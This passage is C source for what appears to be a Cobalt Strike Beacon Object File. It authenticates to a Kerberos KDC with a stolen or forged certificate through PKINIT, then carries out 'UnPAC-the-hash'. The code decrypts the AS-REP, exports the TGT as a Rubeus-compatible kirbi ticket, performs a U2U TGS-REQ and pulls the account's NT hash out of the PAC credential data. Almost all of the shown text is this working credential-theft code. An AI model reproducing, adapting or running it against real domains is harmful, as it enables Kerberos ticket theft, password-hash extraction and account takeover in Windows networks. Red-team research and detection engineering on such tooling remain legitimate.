BeaconPrintf(CALLBACK_OUTPUT, \"[!] PAC too small\");\n        return;\n    }\n\n    DWORD cBuffers = *(DWORD*)pac;\n\n    int offset = 8;\n    for (DWORD i = 0; i < cBuffers && offset + 16 <= pacLen; i++) {\n        DWORD ulType = *(DWORD*)(pac + offset);\n        DWORD cbBufferSize = *(DWORD*)(pac + offset + 4);\n        ULONGLONG bufferOffset = *(ULONGLONG*)(pac + offset + 8);\n\n        /* Type 2 = PAC_CREDENTIAL_INFO */\n        if (ulType == 2 && bufferOffset + cbBufferSize <= (ULONGLONG)pacLen) {\n            BYTE* credInfo = pac + bufferOffset;\n\n            if (cbBufferSize < 8) {\n                continue;\n            }\n\n            DWORD encType = *(DWORD*)(credInfo + 4);\n            BYTE* encData = credInfo + 8;\n            int encDataLen = cbBufferSize - 8;\n\n            /* Decrypt with AS reply key (key usage 16) */\n            int decLen;\n            BYTE* decrypted = KerberosDecrypt(encType, KRB_KEY_USAGE_PAC_CREDENTIAL,\n                                              replyKey, replyKeyLen, encData, encDataLen, &decLen);\n\n            if (decrypted) {\n                ParsePacCredentialData(decrypted, decLen);\n                free(decrypted);\n            } else {\n                BeaconPrintf(CALLBACK_OUTPUT, \"[!] Failed to decrypt PAC_CREDENTIAL_INFO\");\n            }\n        }\n\n        offset += 16;\n    }\n}\n\n/* Process TGS-REP and extract NT hash */\nstatic void ProcessTgsRep(BYTE* tgsRep, int tgsRepLen, BYTE* sessionKey, int sessionKeyLen,\n                          BYTE* replyKey, int replyKeyLen) {\n    /* Check message type */\n    if (tgsRep[0] == 0x7E) {\n        /* KRB-ERROR */\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] TGS-REQ returned KRB-ERROR\");\n        int i;\n        for (i = 0; i < tgsRepLen - 5; i++) {\n            if (tgsRep[i] == 0xA6 && tgsRep[i+2] == 0x02) {\n                int errCode = 0;\n                int errLen = tgsRep[i+3];\n                for (int j = 0; j < errLen; j++) {\n                    errCode = (errCode << 8) | tgsRep[i+4+j];\n                }\n                BeaconPrintf(CALLBACK_OUTPUT, \"[!] Error code: %d - %s\", errCode, GetKrbErrorDesc(errCode));\n                break;\n            }\n        }\n        return;\n    }\n\n    if (tgsRep[0] != 0x6D) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] Unexpected TGS response type: 0x%02X\", tgsRep[0]);\n        return;\n    }\n\n    /* Extract ticket enc-part */\n    int ticketEncPartLen;\n    BYTE* ticketEncPart = ExtractTicketEncPartFromTgsRep(tgsRep, tgsRepLen, &ticketEncPartLen);\n    if (!ticketEncPart) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] Could not extract ticket enc-part from TGS-REP\");\n        return;\n    }\n\n    /* Decrypt with session key (key usage 2 for U2U ticket enc-part) */\n    int decTicketLen;\n    BYTE* decTicket = KerberosDecrypt(ETYPE_AES256_CTS_HMAC_SHA1, KRB_KEY_USAGE_TICKET_ENCPART,\n                                       sessionKey, sessionKeyLen, ticketEncPart, ticketEncPartLen, &decTicketLen);\n    free(ticketEncPart);\n\n    if (!decTicket) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] Failed to decrypt ticket enc-part\");\n        return;\n    }\n\n    /* Extract PAC from authorization-data */\n    int pacLen;\n    BYTE* pac = ExtractPacFromEncTicketPart(decTicket, decTicketLen, &pacLen);\n    free(decTicket);\n\n    if (!pac) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] Could not extract PAC from EncTicketPart\");\n        return;\n    }\n\n    /* Parse PAC and extract NT hash */\n    ParsePacAndExtractNtHash(pac, pacLen, replyKey, replyKeyLen);\n    free(pac);\n}\n\n/* Perform U2U TGS-REQ to extract NT hash */\nstatic void PerformU2U(const char* kdcHost, const char* user, const char* realm,\n                       BYTE* ticket, int ticketLen, BYTE* sessionKey, int sessionKeyLen,\n                       BYTE* replyKey, int replyKeyLen) {\n    /* Build TGS-REQ */\n    int tgsReqLen;\n    BYTE* tgsReq = BuildU2UTgsReq(user, realm, ticket, ticketLen, sessionKey, sessionKeyLen, &tgsReqLen);\n    if (!tgsReq) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] Failed to build U2U TGS-REQ\");\n        return;\n    }\n\n    /* Send to KDC */\n    int tgsRepLen;\n    BYTE* tgsRep = SendToKdc(kdcHost, 88, tgsReq, tgsReqLen, &tgsRepLen);\n    free(tgsReq);\n\n    if (!tgsRep) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] Failed to send TGS-REQ to KDC\");\n        return;\n    }\n\n    /* Process TGS-REP */\n    ProcessTgsRep(tgsRep, tgsRepLen, sessionKey, sessionKeyLen, replyKey, replyKeyLen);\n    free(tgsRep);\n}\n\n/*\n * =============================================================================\n * UnPAC-the-hash - AS-REP Parsing\n * =============================================================================\n */\n\n/* Extract enc-part cipher from AS-REP */\nstatic BYTE* ExtractEncPartFromAsRep(BYTE* asRep, int asRepLen, int* cipherLen) {\n    int offset = 0;\n    int length;\n\n    /* Skip APPLICATION 11 tag */\n    if (asRep[offset] == 0x6B) {\n        offset++;\n        offset += DecodeLength(asRep, offset, &length);\n    }\n\n    /* Skip outer SEQUENCE */\n    if (asRep[offset] == 0x30) {\n        offset++;\n        offset += DecodeLength(asRep, offset, &length);\n    }\n\n    /* Find enc-part [6] */\n    while (offset < asRepLen - 10) {\n        if (asRep[offset] == 0xA6) {\n            offset++;\n            offset += DecodeLength(asRep, offset, &length);\n\n            /* EncryptedData SEQUENCE */\n            if (asRep[offset] == 0x30) {\n                offset++;\n                int encDataLen;\n                offset += DecodeLength(asRep, offset, &encDataLen);\n                int encDataEnd = offset + encDataLen;\n\n                /* Find cipher [2] */\n                while (offset < encDataEnd) {\n                    if (asRep[offset] == 0xA2) {\n                        offset++;\n                        offset += DecodeLength(asRep, offset, &length);\n\n                        if (asRep[offset] == 0x04) {\n                            offset++;\n                            offset += DecodeLength(asRep, offset, cipherLen);\n\n                            BYTE* cipher = (BYTE*)malloc(*cipherLen);\n                            memcpy(cipher, asRep + offset, *cipherLen);\n                            return cipher;\n                        }\n                    } else if ((asRep[offset] & 0xE0) == 0xA0) {\n                        offset++;\n                        int skipLen;\n                        offset += DecodeLength(asRep, offset, &skipLen);\n                        offset += skipLen;\n                    } else {\n                        offset++;\n                    }\n                }\n            }\n            break;\n        } else if ((asRep[offset] & 0xE0) == 0xA0) {\n            offset++;\n            int skipLen;\n            offset += DecodeLength(asRep, offset, &skipLen);\n            offset += skipLen;\n        } else {\n            offset++;\n        }\n    }\n\n    return NULL;\n}\n\n/* Extract session key from decrypted EncASRepPart */\nstatic BYTE* ExtractSessionKey(BYTE* decrypted, int decryptedLen, int* keyLen, int* keyType) {\n    int offset = 0;\n    int length;\n\n    /* Skip APPLICATION 25 if present */\n    if (decrypted[offset] == 0x79) {\n        offset++;\n        offset += DecodeLength(decrypted, offset, &length);\n    }\n\n    /* Skip SEQUENCE */\n    if (decrypted[offset] == 0x30) {\n        offset++;\n        offset += DecodeLength(decrypted, offset, &length);\n    }\n\n    /* Find key [0] */\n    if (decrypted[offset] == 0xA0) {\n        offset++;\n        offset += DecodeLength(decrypted, offset, &length);\n\n        /* EncryptionKey SEQUENCE */\n        if (decrypted[offset] == 0x30) {\n            offset++;\n            offset += DecodeLength(decrypted, offset, &length);\n\n            /* keytype [0] */\n            if (decrypted[offset] == 0xA0) {\n                offset++;\n                offset += DecodeLength(decrypted, offset, &length);\n                if (decrypted[offset] == 0x02) {\n                    offset++;\n                    int intLen = decrypted[offset++];\n                    *keyType = 0;\n                    for (int i = 0; i < intLen; i++) {\n                        *keyType = (*keyType << 8) | decrypted[offset++];\n                    }\n                }\n            }\n\n            /* keyvalue [1] */\n            if (decrypted[offset] == 0xA1) {\n                offset++;\n                offset += DecodeLength(decrypted, offset, &length);\n                if (decrypted[offset] == 0x04) {\n                    offset++;\n                    offset += DecodeLength(decrypted, offset, keyLen);\n\n                    BYTE* keyValue = (BYTE*)malloc(*keyLen);\n                    memcpy(keyValue, decrypted + offset, *keyLen);\n                    return keyValue;\n                }\n            }\n        }\n    }\n\n    return NULL;\n}\n\n/* Extract PA-PAC-CREDENTIALS from AS-REP padata */\nstatic BYTE* ExtractPaPacCredentials(BYTE* asRep, int asRepLen, int* credLen) {\n    int offset = 0;\n    int length;\n\n    /* Skip APPLICATION 11 tag */\n    if (asRep[offset] == 0x6B) {\n        offset++;\n        offset += DecodeLength(asRep, offset, &length);\n    }\n\n    /* Skip outer SEQUENCE */\n    if (asRep[offset] == 0x30) {\n        offset++;\n        offset += DecodeLength(asRep, offset, &length);\n    }\n\n    /* Find padata [2] */\n    int padataOffset = -1;\n    int padataEnd = -1;\n\n    while (offset < asRepLen - 10) {\n        if (asRep[offset] == 0xA2) {\n            offset++;\n            int padataLen;\n            offset += DecodeLength(asRep, offset, &padataLen);\n            padataOffset = offset;\n            padataEnd = offset + padataLen;\n            break;\n        } else if ((asRep[offset] & 0xE0) == 0xA0) {\n            offset++;\n            int skipLen;\n            offset += DecodeLength(asRep, offset, &skipLen);\n            offset += skipLen;\n        } else {\n            offset++;\n        }\n    }\n\n    if (padataOffset < 0) return NULL;\n\n    /* Parse padata SEQUENCE for type 167 */\n    int pos = padataOffset;\n    if (asRep[pos] == 0x30) {\n        pos++;\n        pos += DecodeLength(asRep, pos, &length);\n    }\n\n    while (pos < padataEnd - 5) {\n        if (asRep[pos] != 0x30) {\n            pos++;\n            continue;\n        }\n\n        pos++;\n        int paDataLen;\n        pos += DecodeLength(asRep, pos, &paDataLen);\n        int paDataEnd = pos + paDataLen;\n\n        int padataType = -1;\n        int valueOffset = -1;\n        int valueLen = 0;\n\n        while (pos < paDataEnd) {\n            BYTE tag = asRep[pos];\n            if (tag == 0xA1) {\n                pos++;\n                pos += DecodeLength(asRep, pos, &length);\n                if (asRep[pos] == 0x02) {\n                    pos++;\n                    int intLen = asRep[pos++];\n                    padataType = 0;\n                    for (int i = 0; i < intLen; i++) {\n                        padataType = (padataType << 8) | asRep[pos++];\n                    }\n                }\n            } else if (tag == 0xA2) {\n                pos++;\n                int ctxLen;\n                pos += DecodeLength(asRep, pos, &ctxLen);\n                if (asRep[pos] == 0x04) {\n                    pos++;\n                    pos += DecodeLength(asRep, pos, &valueLen);\n                    valueOffset = pos;\n                    pos += valueLen;\n                } else {\n                    valueOffset = pos;\n                    valueLen = ctxLen;\n                    pos += ctxLen;\n                }\n            } else {\n                pos++;\n                if (pos < paDataEnd) {\n                    int skipLen;\n                    pos += DecodeLength(asRep, pos, &skipLen);\n                    pos += skipLen;\n                }\n            }\n        }\n\n        if (padataType == PA_PAC_CREDENTIALS && valueOffset > 0) {\n            BYTE* result = (BYTE*)malloc(valueLen);\n            memcpy(result, asRep + valueOffset, valueLen);\n            *credLen = valueLen;\n            return result;\n        }\n\n        pos = paDataEnd;\n    }\n\n    return NULL;\n}\n\n/* Parse PAC_CREDENTIAL_DATA and extract NT hash */\nstatic void ParsePacCredentialData(BYTE* data, int dataLen) {\n    int i, j;\n\n    if (dataLen < 8) {\n        return;\n    }\n\n    /* PAC_CREDENTIAL_DATA is NDR encoded:\n     * NTLM_SUPPLEMENTAL_CREDENTIAL contains the NT hash at offset +24\n     */\n\n    /* Method 1: Search for \"NTLM\" string (Unicode: 'N' 00 'T' 00 'L' 00 'M' 00) */\n    for (i = 0; i < dataLen - 50; i++) {\n        if (data[i] == 'N' && data[i+1] == 0 &&\n            data[i+2] == 'T' && data[i+3] == 0 &&\n            data[i+4] == 'L' && data[i+5] == 0 &&\n            data[i+6] == 'M' && data[i+7] == 0) {\n\n            /* NTLM_SUPPLEMENTAL_CREDENTIAL typically follows:\n             * After package name + padding, look for the structure:\n             * Version (4), Flags (4), LmPassword (16), NtPassword (16)\n             * Total 40 bytes of credential data\n             */\n            for (j = i + 8; j < dataLen - 40; j++) {\n                /* Look for Version=0 and reasonable Flags */\n                if (*(DWORD*)(data + j) == 0) {\n                    DWORD flags = *(DWORD*)(data + j + 4);\n                    /* Common flags: 0x01 (NtPresent), 0x02 (LmPresent), etc */\n                    if (flags > 0 && flags < 0x100) {\n                        BYTE* lmHash = data + j + 8;\n                        BYTE* ntHash = data + j + 24;\n\n                        /* Check if NT hash looks valid (not all zeros, not all same) */\n                        int hasData = 0;\n                        for (int k = 0; k < 16; k++) {\n                            if (ntHash[k] != 0) hasData = 1;\n                        }\n\n                        if (hasData) {\n                            BeaconPrintf(CALLBACK_OUTPUT, \"[+] NT Hash: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x\",\n                                ntHash[0], ntHash[1], ntHash[2], ntHash[3],\n                                ntHash[4], ntHash[5], ntHash[6], ntHash[7],\n                                ntHash[8], ntHash[9], ntHash[10], ntHash[11],\n                                ntHash[12], ntHash[13], ntHash[14], ntHash[15]);\n                            return;\n                        }\n                    }\n                }\n            }\n        }\n    }\n\n    /* Method 2: Direct scan at expected offsets in PAC_CREDENTIAL_DATA */\n    int offsets[] = {0x30, 0x38, 0x40, 0x48, 0x50, 0x58, 0x60, 0x68};\n    for (j = 0; j < 8; j++) {\n        int off = offsets[j];\n        if (off + 40 <= dataLen) {\n            BYTE* ntHash = data + off + 24;\n\n            int hasData = 0, unique = 0;\n            BYTE seen[256] = {0};\n            for (i = 0; i < 16; i++) {\n                if (ntHash[i] != 0) hasData = 1;\n                if (!seen[ntHash[i]]) {\n                    seen[ntHash[i]] = 1;\n                    unique++;\n                }\n            }\n\n            if (hasData && unique >= 6) {\n                BeaconPrintf(CALLBACK_OUTPUT, \"[+] NT Hash: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x\",\n                    ntHash[0], ntHash[1], ntHash[2], ntHash[3],\n                    ntHash[4], ntHash[5], ntHash[6], ntHash[7],\n                    ntHash[8], ntHash[9], ntHash[10], ntHash[11],\n                    ntHash[12], ntHash[13], ntHash[14], ntHash[15]);\n                return;\n            }\n        }\n    }\n}\n\n/*\n * =============================================================================\n * kTruncate - RFC 4556 Key Derivation\n * =============================================================================\n */\n\n/* Compute SHA-1 hash */\nstatic void ComputeSha1(BYTE* data, int dataLen, BYTE* hash) {\n    HCRYPTPROV hProv;\n    HCRYPTHASH hHash;\n    DWORD hashLen = 20;\n\n    if (CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) {\n        if (CryptCreateHash(hProv, CALG_SHA1, 0, 0, &hHash)) {\n            CryptHashData(hHash, data, dataLen, 0);\n            CryptGetHashParam(hHash, HP_HASHVAL, hash, &hashLen, 0);\n            CryptDestroyHash(hHash);\n        }\n        CryptReleaseContext(hProv, 0);\n    }\n}\n\n/* kTruncate function - RFC 4556 Section 3.2.3.1 */\nstatic void KTruncate(int k, BYTE* x, int xLen, BYTE* result) {\n    int offset = 0;\n    BYTE counter = 0;\n    BYTE* toHash = (BYTE*)malloc(1 + xLen);\n\n    while (offset < k) {\n        BYTE hash[20];\n        int copyLen;\n\n        /* Hash = SHA1(counter || x) */\n        toHash[0] = counter;\n        memcpy(toHash + 1, x, xLen);\n        ComputeSha1(toHash, 1 + xLen, hash);\n\n        /* Copy hash bytes to result */\n        copyLen = (k - offset < 20) ? (k - offset) : 20;\n        memcpy(result + offset, hash, copyLen);\n        offset += copyLen;\n        counter++;\n    }\n\n    free(toHash);\n}\n\n/* Derive session key from DH shared secret (RFC 4556) */\nstatic void DeriveSessionKey(BYTE* sharedSecret, int secretLen, BYTE* serverNonce, int nonceLen, BYTE* sessionKey, int keyLen) {\n    /* x = Z || server_nonce (client nonce is empty per Rubeus) */\n    int xLen = secretLen + nonceLen;\n    BYTE* x = (BYTE*)malloc(xLen);\n\n    memcpy(x, sharedSecret, secretLen);\n    if (nonceLen > 0 && serverNonce) {\n        memcpy(x + secretLen, serverNonce, nonceLen);\n    }\n\n    /* Apply kTruncate */\n    KTruncate(keyLen, x, xLen, sessionKey);\n\n    free(x);\n}\n\n/*\n * =============================================================================\n * Extract KDC DH Public Key from PA-PK-AS-REP\n * =============================================================================\n */\n\n/* Extract KDC's DH public key from AS-REP */\nstatic BYTE* ExtractKdcDhPublicKey(BYTE* asRep, int asRepLen, int* keyLen) {\n    int i;\n    /* DH OID pattern: 1.2.840.10046.2.1 = 2A 86 48 CE 3E 02 01 */\n    BYTE dhOidPattern[] = { 0x2A, 0x86, 0x48, 0xCE, 0x3E, 0x02, 0x01 };\n\n    /* Search for DH OID in response */\n    for (i = 0; i < asRepLen - (int)sizeof(dhOidPattern) - 10; i++) {\n        int j, found = 1;\n        for (j = 0; j < (int)sizeof(dhOidPattern); j++) {\n            if (asRep[i + j] != dhOidPattern[j]) {\n                found = 0;\n                break;\n            }\n        }\n\n        if (found) {\n            /* Found DH OID, now search for large INTEGER (~128 bytes) */\n            int searchStart = i + sizeof(dhOidPattern);\n            int searchEnd = (searchStart + 500 < asRepLen) ? searchStart + 500 : asRepLen - 10;\n\n            for (j = searchStart; j < searchEnd; j++) {\n                if (asRep[j] == 0x02) { /* INTEGER tag */\n                    int len = 0;\n                    int lenBytes = 1;\n                    int dataOffset;\n\n                    if ((asRep[j + 1] & 0x80) != 0) {\n                        lenBytes = (asRep[j + 1] & 0x7F) + 1;\n                        int k;\n                        for (k = 1; k < lenBytes; k++) {\n                            len = (len << 8) | asRep[j + 1 + k];\n                        }\n                    } else {\n                        len = asRep[j + 1];\n                    }\n\n                    dataOffset = j + 1 + lenBytes;\n\n                    /* Looking for ~128 byte integer (DH public key) */\n                    if (len >= 120 && len <= 140) {\n                        BYTE* result = (BYTE*)malloc(128);\n                        BYTE* intData = asRep + dataOffset;\n                        int copyLen = len;\n                        int destOffset = 0;\n\n                        /* Skip leading zero if present */\n                        if (intData[0] == 0 && copyLen > 1) {\n                            intData++;\n                            copyLen--;\n                        }\n\n                        /* Pad to 128 bytes */\n                        memset(result, 0, 128);\n                        destOffset = 128 - copyLen;\n                        if (destOffset < 0) destOffset = 0;\n                        memcpy(result + destOffset, intData, (copyLen > 128) ? 128 : copyLen);\n\n                        *keyLen = 128;\n                        return result;\n                    }\n                }\n            }\n        }\n    }\n\n    /* Fallback: Search for any large INTEGER that could be the DH public key */\n    for (i = 0; i < asRepLen - 140; i++) {\n        if (asRep[i] == 0x02) { /* INTEGER tag */\n            int len = 0;\n            int lenBytes = 1;\n            int dataOffset;\n\n            if ((asRep[i + 1] & 0x80) != 0) {\n                lenBytes = (asRep[i + 1] & 0x7F) + 1;\n                int k;\n                for (k = 1; k < lenBytes; k++) {\n                    len = (len << 8) | asRep[i + 1 + k];\n                }\n            } else {\n                len = asRep[i + 1];\n            }\n\n            /* Looking for ~128 byte integer (DH public key) */\n            if (len >= 120 && len <= 140) {\n                dataOffset = i + 1 + lenBytes;\n\n                BYTE* result = (BYTE*)malloc(128);\n                BYTE* intData = asRep + dataOffset;\n                int copyLen = len;\n                int destOffset = 0;\n\n                /* Skip leading zero if present */\n                if (intData[0] == 0 && copyLen > 1) {\n                    intData++;\n                    copyLen--;\n                }\n\n                /* Pad to 128 bytes */\n                memset(result, 0, 128);\n                destOffset = 128 - copyLen;\n                if (destOffset < 0) destOffset = 0;\n                memcpy(result + destOffset, intData, (copyLen > 128) ? 128 : copyLen);\n\n                *keyLen = 128;\n                return result;\n            }\n        }\n    }\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"[!] Could not find DH public key (no 128-byte INTEGER found)\");\n    *keyLen = 0;\n    return NULL;\n}\n\n/* Extract server DH nonce from PA-PK-AS-REP */\nstatic BYTE* ExtractServerDhNonce(BYTE* asRep, int asRepLen, int* nonceLen) {\n    int i;\n    /* Search for 32-byte OCTET STRING that could be server nonce */\n    for (i = 0; i < asRepLen - 34; i++) {\n        if (asRep[i] == 0x04 && asRep[i + 1] == 0x20) { /* OCTET STRING of 32 bytes */\n            BYTE* candidate = asRep + i + 2;\n            int j, hasVariation = 0, allZero = 1;\n\n            for (j = 1; j < 32; j++) {\n                if (candidate[j] != candidate[0]) hasVariation = 1;\n                if (candidate[j] != 0) allZero = 0;\n            }\n\n            if (hasVariation && !allZero) {\n                BYTE* result = (BYTE*)malloc(32);\n                memcpy(result, candidate, 32);\n                *nonceLen = 32;\n                return result;\n            }\n        }\n    }\n\n    *nonceLen = 0;\n    return NULL;\n}\n\n/* Kerberos error code descriptions */\nstatic const char* GetKrbErrorDesc(int code) {\n    switch(code) {\n        case 3: return \"KDC_ERR_BAD_PVNO - Bad protocol version\";\n        case 6: return \"KDC_ERR_C_PRINCIPAL_UNKNOWN - Client not found in database\";\n        case 7: return \"KDC_ERR_S_PRINCIPAL_UNKNOWN - Server not found in database\";\n        case 14: return \"KDC_ERR_PA_CHECKSUM_MUST_BE_INCLUDED - Checksum must be included\";\n        case 16: return \"KDC_ERR_PADATA_TYPE_NOSUPP - PA-DATA type not supported\";\n        case 17: return \"KDC_ERR_TRTYPE_NOSUPP - Transited type not supported\";\n        case 18: return \"KDC_ERR_CLIENT_REVOKED - Client's credentials revoked\";\n        case 24: return \"KDC_ERR_PREAUTH_FAILED - Pre-authentication failed\";\n        case 25: return \"KDC_ERR_PREAUTH_REQUIRED - Pre-authentication required\";\n        case 41: return \"KDC_ERR_CLIENT_NOT_TRUSTED - Client not trusted for PKINIT\";\n        case 42: return \"KDC_ERR_KDC_NOT_TRUSTED - KDC not trusted for PKINIT\";\n        case 43: return \"KDC_ERR_INVALID_SIG - Invalid certificate signature\";\n        case 44: return \"KDC_ERR_DH_KEY_PARAMETERS_NOT_ACCEPTED - DH parameters rejected\";\n        case 62: return \"KRB_AP_ERR_USER_TO_USER_REQUIRED - U2U required\";\n        case 68: return \"KDC_ERR_WRONG_REALM - Wrong realm\";\n        case 69: return \"KDC_ERR_CANT_VERIFY_CERTIFICATE - Cannot verify certificate\";\n        case 70: return \"KDC_ERR_INVALID_CERTIFICATE - Invalid certificate\";\n        case 71: return \"KDC_ERR_REVOKED_CERTIFICATE - Certificate revoked\";\n        case 72: return \"KDC_ERR_REVOCATION_STATUS_UNKNOWN - Revocation status unknown\";\n        case 73: return \"KDC_ERR_REVOCATION_STATUS_UNAVAILABLE - Revocation status unavailable\";\n        case 75: return \"KDC_ERR_INCONSISTENT_KEY_PURPOSE - Inconsistent key purpose\";\n        case 76: return \"KDC_ERR_DIGEST_IN_CERT_NOT_ACCEPTED - Digest in cert not accepted\";\n        case 77: return \"KDC_ERR_PA_CHECKSUM_MUST_BE_INCLUDED - PA checksum must be included\";\n        case 78: return \"KDC_ERR_DIGEST_IN_SIGNED_DATA_NOT_ACCEPTED - Digest in signed data not accepted\";\n        case 79: return \"KDC_ERR_PUBLIC_KEY_ENCRYPTION_NOT_SUPPORTED - Public key encryption not supported\";\n        default: return \"Unknown error\";\n    }\n}\n\n/* Process AS-REP and extract NT hash */\nstatic void ProcessAsRep(BYTE* asRep, int asRepLen, PCCERT_CONTEXT pCert,\n                         const char* user, const char* realm, const char* kdcHost, int noUnpac) {\n\n    /* Check message type */\n    if (asRep[0] == 0x7E) {\n        /* KRB-ERROR */\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] Received KRB-ERROR\");\n        /* Parse error code */\n        int i;\n        int errCode = -1;\n        for (i = 0; i < asRepLen - 5; i++) {\n            if (asRep[i] == 0xA6 && asRep[i+2] == 0x02) { /* error-code [6] INTEGER */\n                errCode = 0;\n                int errLen = asRep[i+3];\n                int j;\n                for (j = 0; j < errLen; j++) {\n                    errCode = (errCode << 8) | asRep[i+4+j];\n                }\n                BeaconPrintf(CALLBACK_OUTPUT, \"[!] Error code: %d (0x%X)\", errCode, errCode);\n                BeaconPrintf(CALLBACK_OUTPUT, \"[!] %s\", GetKrbErrorDesc(errCode));\n                break;\n            }\n        }\n        /* Try to find e-text [11] GeneralString */\n        for (i = 0; i < asRepLen - 5; i++) {\n            if (asRep[i] == 0xAB) { /* e-text [11] */\n                int textLen;\n                int lenBytes = DecodeLength(asRep, i+1, &textLen);\n                if (asRep[i+1+lenBytes] == 0x1B) { /* GeneralString */\n                    int strLen;\n                    int strLenBytes = DecodeLength(asRep, i+2+lenBytes, &strLen);\n                    if (strLen > 0 && strLen < 256) {\n                        char etext[256] = {0};\n                        memcpy(etext, asRep + i + 2 + lenBytes + strLenBytes, strLen < 255 ? strLen : 255);\n                        BeaconPrintf(CALLBACK_OUTPUT, \"[!] e-text: %s\", etext);\n                    }\n                }\n                break;\n            }\n        }\n        return;\n    }\n\n    if (asRep[0] != 0x6B) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] Unexpected response type: 0x%02X\", asRep[0]);\n        return;\n    }\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"[+] TGT obtained!\");\n\n    /* Step 1: Extract KDC's DH public key */\n    int kdcPubKeyLen;\n    BYTE* kdcPubKey = ExtractKdcDhPublicKey(asRep, asRepLen, &kdcPubKeyLen);\n    if (!kdcPubKey) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] Could not extract KDC DH public key\");\n        return;\n    }\n\n    /* Step 2: Extract server DH nonce (optional) */\n    int serverNonceLen;\n    BYTE* serverNonce = ExtractServerDhNonce(asRep, asRepLen, &serverNonceLen);\n\n    /* Step 3: Compute DH shared secret: KDC_pubkey^our_privkey mod p */\n    BigInt p, y, x, sharedSecret;\n    bigint_from_bytes(&p, DH_P_MODP2, sizeof(DH_P_MODP2));\n    bigint_from_bytes(&y, kdcPubKey, kdcPubKeyLen);\n    bigint_from_bytes(&x, g_dhPrivateKey, sizeof(g_dhPrivateKey));\n\n    bigint_modpow(&sharedSecret, &y, &x, &p);\n\n    BYTE sharedSecretBytes[128];\n    bigint_to_bytes(&sharedSecret, sharedSecretBytes, 128);\n\n    /* Step 4: Derive reply key using kTruncate (32 bytes for AES256) */\n    BYTE replyKey[32];\n    DeriveSessionKey(sharedSecretBytes, 128, serverNonce, serverNonceLen, replyKey, 32);\n\n    /* Store reply key globally */\n    memcpy(g_replyKey, replyKey, 32);\n\n    /* Step 5: Extract and decrypt enc-part */\n    int encPartLen;\n    BYTE* encPart = ExtractEncPartFromAsRep(asRep, asRepLen, &encPartLen);\n    if (!encPart) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] Could not extract enc-part\");\n        free(kdcPubKey);\n        if (serverNonce) free(serverNonce);\n        return;\n    }\n\n    /* Decrypt enc-part with reply key (key usage 3) */\n    int decryptedLen;\n    BYTE* decrypted = KerberosDecrypt(ETYPE_AES256_CTS_HMAC_SHA1, KRB_KEY_USAGE_AS_REP_ENCPART,\n                                       replyKey, 32, encPart, encPartLen, &decryptedLen);\n    free(encPart);\n\n    if (!decrypted) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] Failed to decrypt enc-part\");\n        free(kdcPubKey);\n        if (serverNonce) free(serverNonce);\n        return;\n    }\n\n    /* Step 6: Extract session key from EncASRepPart */\n    int sessionKeyLen, sessionKeyType;\n    BYTE* sessionKey = ExtractSessionKey(decrypted, decryptedLen, &sessionKeyLen, &sessionKeyType);\n    free(decrypted);\n\n    if (!sessionKey) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] Could not extract session key\");\n        free(kdcPubKey);\n        if (serverNonce) free(serverNonce);\n        return;\n    }\n\n    /* Store session key globally */\n    memcpy(g_sessionKey, sessionKey, sessionKeyLen);\n\n    /* Output TGT in kirbi format (Rubeus compatible) */\n    {\n        int kirbiTgtLen;\n        BYTE* kirbiTgt = ExtractTicketFromAsRep(asRep, asRepLen, &kirbiTgtLen);\n        if (kirbiTgt) {\n            OutputKirbi(kirbiTgt, kirbiTgtLen, sessionKey, sessionKeyLen, sessionKeyType, user, realm);\n            free(kirbiTgt);\n        }\n    }\n\n    /* Step 7: Look for PA-PAC-CREDENTIALS and decrypt */\n    int pacCredLen;\n    BYTE* pacCred = ExtractPaPacCredentials(asRep, asRepLen, &pacCredLen);\n    if (pacCred) {\n        /* Decrypt with session key (key usage 16) */\n        int decCredLen;\n        BYTE* decCred = KerberosDecrypt(sessionKeyType, KRB_KEY_USAGE_PAC_CREDENTIAL,\n                                        sessionKey, sessionKeyLen, pacCred, pacCredLen, &decCredLen);\n        free(pacCred);\n\n        if (decCred) {\n            ParsePacCredentialData(decCred, decCredLen);\n            free(decCred);\n        } else {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[!] Failed to decrypt PA-PAC-CREDENTIALS\");\n        }\n    } else if (!noUnpac) {\n        /* Extract TGT from AS-REP for U2U */\n        int tgtLen;\n        BYTE* tgt = ExtractTicketFromAsRep(asRep, asRepLen, &tgtLen);\n        if (tgt) {\n            /* Perform U2U to get NT hash */\n            PerformU2U(kdcHost, user, realm, tgt, tgtLen, sessionKey, sessionKeyLen, replyKey, 32);\n            free(tgt);\n        } else {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[!] Failed to extract TGT from AS-REP\");\n        }\n    }\n\n    /* Cleanup */\n    free(kdcPubKey);\n    free(sessionKey);\n    if (serverNonce) free(serverNonce);\n}\n\n/*\n * =============================================================================\n * Certificate Loading - From Base64 or File\n * =============================================================================\n */\n\n/* Load certificate from base64 encoded PFX */\nstatic PCCERT_CONTEXT LoadCertificateFromBase64(const char* base64Pfx, const char* password) {\n    BYTE* pfxData = NULL;\n    DWORD pfxLen = 0;\n    HCERTSTORE hStore = NULL;\n    PCCERT_CONTEXT pCert = NULL;\n    WCHAR wPassword[256] = {0};\n\n    if (!base64Pfx || !base64Pfx[0]) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] No PFX data provided\");\n        return NULL;\n    }\n\n    /* Convert password to wide string */\n    if (password && password[0]) {\n        MultiByteToWideChar(CP_ACP, 0, password, -1, wPassword, 256);\n    }\n\n    /* Decode base64 to binary */\n    DWORD 